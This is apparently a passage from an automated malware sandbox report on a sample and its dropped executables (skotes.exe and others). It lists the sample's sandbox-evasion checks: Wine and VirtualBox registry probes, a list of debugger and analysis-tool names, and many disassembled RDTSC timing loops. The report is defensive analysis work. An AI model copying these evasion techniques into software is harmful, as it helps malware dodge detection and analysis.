Source: C:\Users\user\AppData\Local\Temp\1018347001\63ebe314bb.exe	API/Special instruction interceptor: Address: 7FFE2220D044
Source: C:\Windows\SysWOW64\svchost.exe	API/Special instruction interceptor: Address: 7FFE2220D044

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018347001\63ebe314bb.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1018347001\63ebe314bb.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: svchost.exe, 0000000E.00000002.2645248522.0000000002D00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OLLYDBG.EXE
Source: skotes.exe, 00000005.00000002.2960801644.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp, 63ebe314bb.exe, 0000000D.00000002.2657354158.000000000038C000.00000004.00000001.01000000.0000000E.sdmp, 63ebe314bb.exe, 0000000D.00000002.2661525632.0000000004B20000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: ORIGINALFILENAMECFF EXPLORER.EXE:
Source: svchost.exe, 0000000E.00000002.2645248522.0000000002D00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: EVERYWHERE.EXEFIDDLER.EXEIDA.EXEIDA64.EXEIMMU
Source: svchost.exe, 0000000E.00000002.2645248522.0000000002D00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: X64DBG.EXE
Source: skotes.exe, 00000005.00000002.2960801644.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp, 63ebe314bb.exe, 0000000D.00000002.2657354158.000000000038C000.00000004.00000001.01000000.0000000E.sdmp, 63ebe314bb.exe, 0000000D.00000002.2661525632.0000000004B20000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: INTERNALNAMECFF EXPLORER.EXE
Source: svchost.exe, 0000000E.00000002.2645248522.0000000002D00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WINDBG.EXELE
Source: svchost.exe, 0000000E.00000002.2645248522.0000000002D00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WINDBG.EXE
Source: svchost.exe, 0000000E.00000002.2645248522.0000000002D00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: MP.EXEX64DBG.EXEX32DBG.EXEOLLYDBG.EXEPROCESSHAQ
Source: svchost.exe, 0000000E.00000002.2645248522.0000000002D00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TORUNS.EXEDUMPCAP.EXEDE4U
Source: svchost.exe, 0000000E.00000002.2645248522.0000000002D00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: FIDDLER.EXE
Source: svchost.exe, 0000000E.00000002.2645248522.0000000002D00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DUMPCAP.EXE

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAF8EF second address: AAF914 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F15B4F0F8D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F15B4F0F8E9h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAF914 second address: AAF055 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B4B26165h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b jmp 00007F15B4B26165h 0x00000010 nop 0x00000011 cld 0x00000012 push dword ptr [ebp+122D08E9h] 0x00000018 mov dword ptr [ebp+122D3D6Dh], eax 0x0000001e call dword ptr [ebp+122D317Eh] 0x00000024 pushad 0x00000025 clc 0x00000026 xor eax, eax 0x00000028 mov dword ptr [ebp+122D1E5Eh], edi 0x0000002e mov edx, dword ptr [esp+28h] 0x00000032 sub dword ptr [ebp+122D1E5Eh], esi 0x00000038 mov dword ptr [ebp+122D2FBBh], eax 0x0000003e pushad 0x0000003f jnp 00007F15B4B26167h 0x00000045 jbe 00007F15B4B26158h 0x0000004b popad 0x0000004c mov esi, 0000003Ch 0x00000051 mov dword ptr [ebp+122D2780h], edi 0x00000057 add esi, dword ptr [esp+24h] 0x0000005b pushad 0x0000005c mov edi, edx 0x0000005e popad 0x0000005f lodsw 0x00000061 jmp 00007F15B4B26163h 0x00000066 add eax, dword ptr [esp+24h] 0x0000006a jne 00007F15B4B26157h 0x00000070 mov ebx, dword ptr [esp+24h] 0x00000074 jmp 00007F15B4B26165h 0x00000079 nop 0x0000007a push eax 0x0000007b push edx 0x0000007c push edi 0x0000007d push ebx 0x0000007e pop ebx 0x0000007f pop edi 0x00000080 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAF055 second address: AAF08D instructions: 0x00000000 rdtsc 0x00000002 jl 00007F15B4F0F8E8h 0x00000008 jmp 00007F15B4F0F8E2h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F15B4F0F8E7h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAF08D second address: AAF097 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F15B4B26156h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAF097 second address: AAF0B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F15B4F0F8E9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C11B1F second address: C11B23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C11B23 second address: C11B3A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F15B4F0F8D8h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f pushad 0x00000010 pushad 0x00000011 push esi 0x00000012 pop esi 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C24F26 second address: C24F37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F15B4B2615Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C24F37 second address: C24F62 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 pushad 0x00000008 popad 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F15B4F0F8E5h 0x00000013 jno 00007F15B4F0F8D8h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C24F62 second address: C24F7C instructions: 0x00000000 rdtsc 0x00000002 je 00007F15B4B2616Ch 0x00000008 jmp 00007F15B4B26160h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2510C second address: C25118 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 jc 00007F15B4F0F8D6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C25118 second address: C25122 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F15B4B26156h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C25122 second address: C25141 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F15B4F0F8DAh 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F15B4F0F8DBh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2529B second address: C252A5 instructions: 0x00000000 rdtsc 0x00000002 je 00007F15B4B26156h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C252A5 second address: C252B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 js 00007F15B4F0F8D6h 0x0000000d push esi 0x0000000e pop esi 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C252B5 second address: C252BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C252BB second address: C252BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C252BF second address: C252CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2557B second address: C25585 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F15B4F0F8F2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2570B second address: C2570F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2570F second address: C25729 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B4F0F8E5h 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C25729 second address: C25752 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a jmp 00007F15B4B26168h 0x0000000f jne 00007F15B4B26156h 0x00000015 pop ecx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C25752 second address: C25759 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C25759 second address: C2575F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C27DAB second address: C27DB1 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C27DB1 second address: AAF055 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F15B4B26164h 0x00000008 jmp 00007F15B4B26168h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 add dword ptr [esp], 0CD7A57Fh 0x00000017 mov edi, esi 0x00000019 push dword ptr [ebp+122D08E9h] 0x0000001f push ebx 0x00000020 pushad 0x00000021 mov dword ptr [ebp+122D3C13h], eax 0x00000027 push edx 0x00000028 pop eax 0x00000029 popad 0x0000002a pop esi 0x0000002b call dword ptr [ebp+122D317Eh] 0x00000031 pushad 0x00000032 clc 0x00000033 xor eax, eax 0x00000035 mov dword ptr [ebp+122D1E5Eh], edi 0x0000003b mov edx, dword ptr [esp+28h] 0x0000003f sub dword ptr [ebp+122D1E5Eh], esi 0x00000045 mov dword ptr [ebp+122D2FBBh], eax 0x0000004b pushad 0x0000004c jnp 00007F15B4B26167h 0x00000052 jmp 00007F15B4B26161h 0x00000057 jbe 00007F15B4B26158h 0x0000005d popad 0x0000005e mov esi, 0000003Ch 0x00000063 mov dword ptr [ebp+122D2780h], edi 0x00000069 add esi, dword ptr [esp+24h] 0x0000006d pushad 0x0000006e mov edi, edx 0x00000070 popad 0x00000071 lodsw 0x00000073 jmp 00007F15B4B26163h 0x00000078 add eax, dword ptr [esp+24h] 0x0000007c jne 00007F15B4B26157h 0x00000082 mov ebx, dword ptr [esp+24h] 0x00000086 jmp 00007F15B4B26165h 0x0000008b nop 0x0000008c push eax 0x0000008d push edx 0x0000008e push edi 0x0000008f push ebx 0x00000090 pop ebx 0x00000091 pop edi 0x00000092 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C27EA7 second address: C27EAD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C27FBE second address: C27FC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C28217 second address: C28243 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 add dword ptr [esp], 2E026F71h 0x0000000d or ecx, dword ptr [ebp+122D2FFFh] 0x00000013 lea ebx, dword ptr [ebp+1244CCE9h] 0x00000019 jns 00007F15B4F0F8DCh 0x0000001f xchg eax, ebx 0x00000020 push eax 0x00000021 pushad 0x00000022 push esi 0x00000023 pop esi 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C49DA8 second address: C49DB8 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F15B4B26156h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C49DB8 second address: C49DBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C49DBC second address: C49DDB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B4B26169h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C47CE4 second address: C47CEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C47CEC second address: C47CF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C47F79 second address: C47F7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C47F7D second address: C47F81 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C480D8 second address: C480DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C480DE second address: C480E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C48620 second address: C48624 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C48624 second address: C48634 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a jnp 00007F15B4B26156h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C48634 second address: C4867C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B4F0F8E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c jmp 00007F15B4F0F8E0h 0x00000011 popad 0x00000012 popad 0x00000013 pushad 0x00000014 jmp 00007F15B4F0F8E1h 0x00000019 push eax 0x0000001a push edx 0x0000001b push edx 0x0000001c pop edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C48950 second address: C48959 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C48C33 second address: C48C55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F15B4F0F8E8h 0x00000009 popad 0x0000000a pushad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4C01D second address: C4C021 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4C154 second address: C4C193 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push ebx 0x0000000b jmp 00007F15B4F0F8DEh 0x00000010 pop ebx 0x00000011 mov eax, dword ptr [eax] 0x00000013 jmp 00007F15B4F0F8E5h 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c push eax 0x0000001d push edx 0x0000001e je 00007F15B4F0F8DCh 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4C193 second address: C4C197 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4C197 second address: C4C1A1 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F15B4F0F8DCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4B311 second address: C4B317 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4B317 second address: C4B31B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4C28C second address: C4C290 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4C3CD second address: C4C3D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4D4AB second address: C4D4BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F15B4B26156h 0x0000000a jnl 00007F15B4B26156h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1F387 second address: C1F38D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1A132 second address: C1A155 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 jmp 00007F15B4B26168h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C530DE second address: C530F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 jbe 00007F15B4F0F8D8h 0x0000000d push edx 0x0000000e pop edx 0x0000000f popad 0x00000010 push edi 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C530F3 second address: C530F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C530F7 second address: C530FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5326F second address: C53274 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C53274 second address: C5327A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5327A second address: C5327E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5327E second address: C53284 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C53579 second address: C5359B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F15B4B26163h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jns 00007F15B4B26156h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C539C9 second address: C539DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F15B4F0F8E0h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C53B1A second address: C53B1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C578AC second address: C578B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F15B4F0F8D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C57AE7 second address: C57AEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C57AEC second address: C57B04 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B4F0F8DEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C57B04 second address: C57B09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5B310 second address: C5B315 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5AB8B second address: C5AB91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C20D83 second address: C20D94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007F15B4F0F8DCh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5E00E second address: C5E024 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jne 00007F15B4B2615Ch 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5BC6B second address: C5BC72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5E79A second address: C5E7AF instructions: 0x00000000 rdtsc 0x00000002 ja 00007F15B4B26156h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jbe 00007F15B4B26156h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5E94F second address: C5E9D9 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F15B4F0F8D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b jns 00007F15B4F0F8D6h 0x00000011 pop ecx 0x00000012 popad 0x00000013 mov dword ptr [esp], eax 0x00000016 add dword ptr [ebp+1245C661h], eax 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 push ebx 0x00000021 call 00007F15B4F0F8D8h 0x00000026 pop ebx 0x00000027 mov dword ptr [esp+04h], ebx 0x0000002b add dword ptr [esp+04h], 00000017h 0x00000033 inc ebx 0x00000034 push ebx 0x00000035 ret 0x00000036 pop ebx 0x00000037 ret 0x00000038 jns 00007F15B4F0F8DCh 0x0000003e mov edi, dword ptr [ebp+122D2DDBh] 0x00000044 push 00000000h 0x00000046 push 00000000h 0x00000048 push esi 0x00000049 call 00007F15B4F0F8D8h 0x0000004e pop esi 0x0000004f mov dword ptr [esp+04h], esi 0x00000053 add dword ptr [esp+04h], 00000014h 0x0000005b inc esi 0x0000005c push esi 0x0000005d ret 0x0000005e pop esi 0x0000005f ret 0x00000060 jc 00007F15B4F0F8DCh 0x00000066 and edi, 1BE0CFB9h 0x0000006c jp 00007F15B4F0F8DAh 0x00000072 xchg eax, ebx 0x00000073 push eax 0x00000074 push edx 0x00000075 push ecx 0x00000076 push edi 0x00000077 pop edi 0x00000078 pop ecx 0x00000079 rdtsc
